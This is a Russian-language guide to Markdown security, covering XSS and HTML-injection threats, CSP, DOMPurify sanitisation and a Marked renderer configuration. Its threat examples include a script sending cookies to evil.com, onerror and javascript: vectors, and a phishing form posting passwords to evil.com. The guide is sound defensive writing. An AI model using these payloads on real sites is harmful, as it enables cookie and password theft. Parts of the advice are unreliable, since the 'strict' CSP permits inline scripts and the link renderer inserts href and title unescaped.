Лучшие практики безопасности Markdown
Хотя Markdown выглядит как обычный текст, неправильная обработка может привести к серьезным уязвимостям безопасности. Это руководство показывает, как безопасно обрабатывать контент Markdown.
Распространенные угрозы безопасности
1. XSS (Межсайтовый скриптинг)
Markdown позволяет встраивать HTML, что может быть использовано для внедрения вредоносных скриптов:
markdown
<!-- Опасно: неочищенный HTML -->
<script>
// Кража cookies
fetch('https://evil.com/steal?data=' + document.cookie);
</script>
<img src="x" onerror="alert('XSS')">
<a href="javascript:alert('XSS')">Нажмите</a>2. HTML-инъекция
Даже без JavaScript вредоносный HTML может причинить вред:
markdown
<!-- Фишинговая атака -->
<form action="https://evil.com/phish" method="POST">
<input type="password" name="password" placeholder="Введите пароль">
<button>Войти</button>
</form>Стратегии защиты
1. Content Security Policy (CSP)
Реализуйте строгие заголовки CSP:
html
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'unsafe-inline' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;">2. Очистка HTML
Используйте специализированные библиотеки очистки:
DOMPurify (браузер)
javascript
import DOMPurify from 'dompurify';
import marked from 'marked';
const dirty = marked.parse(userMarkdown);
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'title', 'class'],
FORBID_TAGS: ['script', 'style', 'iframe', 'form'],
FORBID_ATTR: ['onerror', 'onclick', 'onload']
});
document.getElementById('output').innerHTML = clean;3. Настройка безопасного парсера Markdown
Безопасная конфигурация Marked
javascript
const marked = require('marked');
const renderer = {
html(html) {
// Полностью блокировать HTML
return '';
},
link(href, title, text) {
// Разрешить только безопасные протоколы
const safeProtocols = ['http:', 'https:', 'mailto:'];
try {
const url = new URL(href);
if (!safeProtocols.includes(url.protocol)) {
return text;
}
} catch {
return text;
}
return `<a href="${href}" title="${title || ''}" rel="noopener noreferrer" target="_blank">${text}</a>`;
}
};
marked.use({ renderer });Контрольный список безопасности
Перед развертыванием
- [ ] Включить Content Security Policy (CSP)
- [ ] Реализовать очистку HTML (DOMPurify/sanitize-html)
- [ ] Отключить или ограничить необработанный HTML
- [ ] Валидировать все URL и ссылки
- [ ] Реализовать ограничение скорости
- [ ] Добавить защиту CSRF
- [ ] Валидировать загрузки файлов
- [ ] Реализовать аутентификацию и авторизацию
- [ ] Установить ограничения длины контента
- [ ] Включить HTTPS
- [ ] Настроить безопасные HTTP-заголовки
- [ ] Реализовать журналирование и мониторинг
- [ ] Проводить регулярные аудиты безопасности
- [ ] Поддерживать зависимости в актуальном состоянии
Заключение
Безопасность Markdown нельзя игнорировать. Реализуя соответствующие меры очистки, валидации, аутентификации и мониторинга, вы можете безопасно обрабатывать пользовательский контент Markdown и защищать приложения и пользователей от атак.